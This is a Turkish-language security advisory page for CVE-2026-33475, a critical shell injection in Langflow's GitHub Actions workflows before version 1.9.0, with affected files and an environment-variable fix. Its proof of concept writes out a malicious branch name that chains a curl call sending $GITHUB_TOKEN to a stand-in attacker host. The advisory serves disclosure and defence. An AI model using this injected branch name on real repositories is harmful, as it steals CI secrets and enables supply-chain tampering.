CVE-2026-33475

Kritik

Açıklama

Langflow, yapay zeka destekli ajanlar ve iş akışları oluşturmak ve dağıtmak için kullanılan bir araçtır. Langflow deposunda, 1.9.0 sürümünden önceki birden fazla GitHub Actions iş akışında kimlik doğrulaması gerektirmeyen bir uzaktan shell injection zafiyeti bulunmaktadır. `run:` adımlarında GitHub bağlam değişkenlerinin (örneğin, `${{ github.head_ref }}`) temizlenmeden interpolasyonu; saldırganların kötü amaçlı bir dal adı veya pull request başlığı aracılığıyla rastgele shell komutları enjekte etmesine ve çalıştırmasına olanak tanır. Bu durum, CI/CD yürütme sırasında gizli bilgilerin sızdırılmasına (örneğin, `GITHUB_TOKEN`), altyapı manipülasyonuna veya tedarik zinciri saldırısına yol açabilir. 1.9.0 sürümü bu zafiyeti gidermektedir. --- ### Detaylar `.github/workflows/` ve `.github/actions/` altındaki çeşitli iş akışları, aşağıdaki örneklerde olduğu gibi GitHub bağlam değişkenlerine doğrudan `run:` shell komutlarında referans vermektedir: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Veya: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` `github.head_ref`, `github.event.pull_request.title` ve özel `inputs.*` değerleri **kullanıcı kontrollü değerler** içerebildiğinden, bunlar **güvenilmeyen girdi** olarak değerlendirilmelidir. Uygun tırnaklama veya temizleme işlemi olmadan yapılan doğrudan interpolasyon, shell komut enjeksiyonuna yol açar. --- ### PoC 1. Langflow deposunu **fork** edin. 2. Şu isimle **yeni bir dal oluşturun**: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. Yeni daldan ana dala bir **Pull Request açın**. 4. GitHub Actions etkilenen iş akışını (örneğin, `deploy-docs-draft.yml`) çalıştıracaktır. 5. Şunu içeren `run:` adımı: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Şu şekilde yürütülecektir: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. Saldırgan, CI sırrını exfil URL'si üzerinden alır. --- ### Etki - **Tür:** Shell Injection / CI üzerinde Uzaktan Kod Çalıştırma - **Kapsam:** GitHub Actions etkinleştirilmiş herhangi bir genel Langflow fork'u - **Etki:** CI sırlarına tam erişim (örneğin, `GITHUB_TOKEN`), kötü amaçlı tag'ler veya imajlar yükleme olasılığı, sürümlerle oynama veya hassas altyapı verilerini sızdırma --- ### Önerilen Düzeltme Etkilenen iş akışlarını **ortam değişkenleri kullanacak** ve bunları **çift tırnak içine alacak** şekilde yeniden düzenleyin: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Kullanıcı kontrollü herhangi bir değer için `run:` içerisinde doğrudan `${{ ... }}` interpolasyonundan kaçının. --- ### Etkilenen Dosyalar (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

ÖnemKritik
CVSS9.1
İstismar olasılığı—
ÜrünLangflow
Yayın24 Mar 2026
İlk görülme24 Mar 2026

Nasıl düzeltilir

Güncelleyin
  • langflow langflow1.9.0 ya da sonraki bir sürüm

Etkilenen ürünler

ÜrünEtkilenen sürümlerDüzeltildiği sürüm
langflow langflowv < 1.9.01.9.0

Sürümünüzü kontrol edin

Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.

Intelligence 360 paketinde

Attack Surface Management

Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.

CVE-2026-33475 · Langflow · Dark Radar